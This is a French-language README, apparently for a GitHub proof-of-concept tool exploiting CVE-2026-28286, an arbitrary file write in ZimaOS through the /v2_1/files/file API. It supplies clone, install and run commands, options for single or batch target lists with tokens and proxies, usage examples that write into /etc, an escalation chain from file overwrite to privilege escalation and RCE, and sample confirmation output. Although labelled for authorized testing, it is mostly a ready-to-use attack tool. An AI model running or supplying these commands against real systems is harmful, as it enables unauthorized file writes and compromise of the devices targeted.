
Boîte à outils de preuve de concept (PoC) et de vérification pour CVE-2026-28286, une vulnérabilité d'écriture arbitraire de fichiers dans ZimaOS, exploitant une mauvaise configuration de l'API pour écrire des fichiers en dehors des répertoires prévus.
De la Mauvaise Configuration API → Écriture Arbitraire de Fichiers → Compromission Potentielle du Système
/v2_1/files/filegit clone https://github.com/Rushi9/zimaos-cve-2026-28286-arbitrary-file-write.git
cd zimaos-cve-2026-28286-arbitrary-file-write
pip install -r requirements.txt
python3 poc.py
Vous pouvez consulter toutes les options disponibles en utilisant :
python poc.py -h
usage: poc.py [-h] [-u URL] [-t TARGETS] [-p PATH] [--proxy PROXY] [--token TOKEN] [-n ATTEMPTS] [--delay DELAY]
options:
-h, --help show help message and exit
-u, --url URL Single target URL
-t, --targets TARGETS Targets file (batch mode)
-p, --path PATH Custom file path (default: /tmp)
--proxy PROXY Proxy URL (e.g., http://127.0.0.1:8080)
--token TOKEN Bearer authentication token
-n, --attempts Number of attempts
--delay Delay between batch requests (seconds)
python poc.py
python poc.py -u http://localhost:8080
python poc.py -u http://localhost:8080 -p /tmp
python poc.py -u http://localhost:8080 -p /etc
python poc.py -u http://localhost:8080 -n 5
python poc.py -u http://localhost:8080 --proxy http://127.0.0.1:8080
python poc.py -t targets.txt
python poc.py -t targets.txt --delay 2
python poc.py -u http://target.com -p /tmp -n 3 --proxy http://127.0.0.1:8080 --token YOUR_TOKEN
Utilisez le mode proxy avec Burp Suite pour :
Le backend ne parvient pas à appliquer les limites du système de fichiers :
Cela permet d'écrire dans :
/tmp/
/etc/
/usr/local/bin/
Écriture Arbitraire de Fichiers
↓
Écrasement de Configurations / Scripts
↓
Élévation de Privilèges / RCE

[✔] CONFIRMED vulnerable (LISTING_SUCCESS)
Path: /tmp/CVE-2026-28286_⚠️_abc123.txt
Si vous avez trouvé cela utile, pensez à laisser une étoile ⭐ Cela aide davantage de chercheurs à découvrir ce travail.
Pour tests autorisés uniquement.